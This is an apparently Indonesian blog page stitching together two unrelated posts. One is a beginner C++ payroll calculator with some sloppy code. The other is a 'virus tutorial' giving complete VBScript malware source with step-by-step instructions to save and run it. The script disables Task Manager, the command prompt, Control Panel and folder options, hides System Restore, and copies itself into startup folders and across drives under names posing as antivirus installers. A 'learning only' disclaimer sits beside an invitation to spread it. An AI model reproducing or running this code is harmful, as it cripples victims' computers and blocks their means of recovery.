CPP Menghitung Gaji Pokok dan Tunjangan

CPP Menghitung Gaji Pokok dan Tunjangan


Contoh Program CPP Menghitung Gaji Pokok dan Tunjangan


Script :
#include <iostream.h>
#include <conio.h>
#include <math.h>
#include <stdio.h>
#include<string.h>
void main()
{
char nip[10], nama[20],jabatan[10];
 int gol;
 clrscr();
 long gaji_pokok, jml_anak, tabungan, simp_wajib, simp_pokok;
 double total_gaji, total_terima_gaji, potongan, tunj_anak, tunj_istri;
 //double gaji_pokok;
tabungan = 25000;
simp_wajib =20000;
simp_pokok=15000;
cout<<" masukkan nip = "; cin>>nip;
cout<<" masukkan nama = "; gets(nama);
cout<<"masukkan gol = ";cin>>gol;
cout<<"masukkan gapok=";cin>>gaji_pokok;
cout<<" masukkan jml anak = "; cin>>jml_anak;


tunj_istri=(2*gaji_pokok)/100;
tunj_anak= (jml_anak*3*gaji_pokok)/100;
potongan = tabungan + simp_wajib + simp_pokok;
total_gaji = (gaji_pokok+tunj_istri+tunj_anak);
total_terima_gaji = (gaji_pokok+tunj_istri+tunj_anak)-potongan;
if (gol==1)
{cout<<"jabatan=manager";cout<<"\n";}
else if (gol==2)
{cout<<"jabatan=direktur";}
else if (gol==3)
{cout<<"jabatan=staf";}
else if (gol==4)
{cout<<"jabatan=umum";}
cout<<"\n";
//output
cout<<"*********************************************************";
cout<<"\n";
cout<<"   GAJI PEGAWAI BULAN : OKTOBER 2009"; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"NIP : " <<nip; cout<<"\n";
cout<<"NAMA : " <<nama; cout<<"\n";
cout<<"GOL : " <<gol; cout<<"\n";
cout<<"JABATAN : " <<jabatan;cout<<"\n";
cout<<"GAJI POKOK : "<<gaji_pokok; cout<<"\n";
cout<<"JUMLAH ANAK : "<<jml_anak; cout<<"\n";
cout<<"TUNJANGAN ISTRI : "<<tunj_istri; cout<<"\n";
cout<<"TUNJANGAN ANAK : "<<tunj_anak; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"TOTAL GAJI : " <<total_gaji; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"POTONGAN : " <<potongan; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"TOTAL TERIMA : " <<total_terima_gaji;  cout<<"\n";
cout<<"*********************************************************";
getch();
}


Vbs Script Virus CeweSexy | Tutorial Virus

Vbs Script Virus CeweSexy
Kali ini saya akan membagi script virus, script ini Diberi Nama CeweSexy, Script ini Diperbolehkan Untuk anda sebarluaskan, bahkan anda jalankan. Tapi dengan tujuan untuk pembelajaran semata. Kedewasan sikap anda sangat dibutuhkan, segala resiko yang dihasilkan oleh virus ini, diluar tanggung jawab saya.

Sekali lagi, gunakan script ini hanya untuk tujuan pembelajaran. Bukan untuk merusak, bila anda ingin melihat kemampuannya, silahkan aktifkan di komputer anda sendiri. Jangan di komputer orang lain. Saya tidak bertanggung jawab atas kerusakan yang di buat oleh virus ini.

Pertama-tama buka notepad, kemudian copas (copy-paste) script di bawah ini kedalam notepad, kemudian simpan dengan format CeweSexyLho.vbs dimulai dari on error resume next.

Copy Code Dibawah ini Ke Notepad :
On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:\Ternate.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya, CeweManiz :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVershon\Policies\Explorer\NoDrives","16","REG_D WORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA Kenalkan Saya Ini CeweSexyLho"
Set Copier = FSO.GetFile ("C:\Ternate.vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs")
FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12")
FSO.CreateFolder ("D:\Program")
FSO.CreateFolder ("E:\Program")
FSO.CreateFolder ("F:\Program")
FSO.CreateFolder ("G:\Program")
FSO.CreateFolder ("H:\Program")
FSO.CreateFolder ("I:\Program")
FSO.CreateFolder ("J:\Program")
FSO.CreateFolder ("K:\Program")
Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu")
set Dupler = FSO.GetFile (WScript.ScriptFullName)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\JilbabSexy.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\CeweManiz_Antivirus.exe.vbs")
Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs")
Dupler.Copy ("D:\Program\JilbabSexy_SETUP.vbs")
Dupler.Copy ("E:\Program\Sexy_SETUP.vbs")
Dupler.Copy ("F:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("G:\Program\Norton_SETUP.vbs")
Dupler.Copy ("H:\Program\Avg_SETUP.vbs")
Dupler.Copy ("I:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("J:\Program\ToketBesar.vbs")
Dupler.Copy ("K:\Program\LagiTelanjang.vbs")
Set Runner = WScript.CreateObject ("WScript.Shell")
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\CeweManiz.vbs")

Selesai save.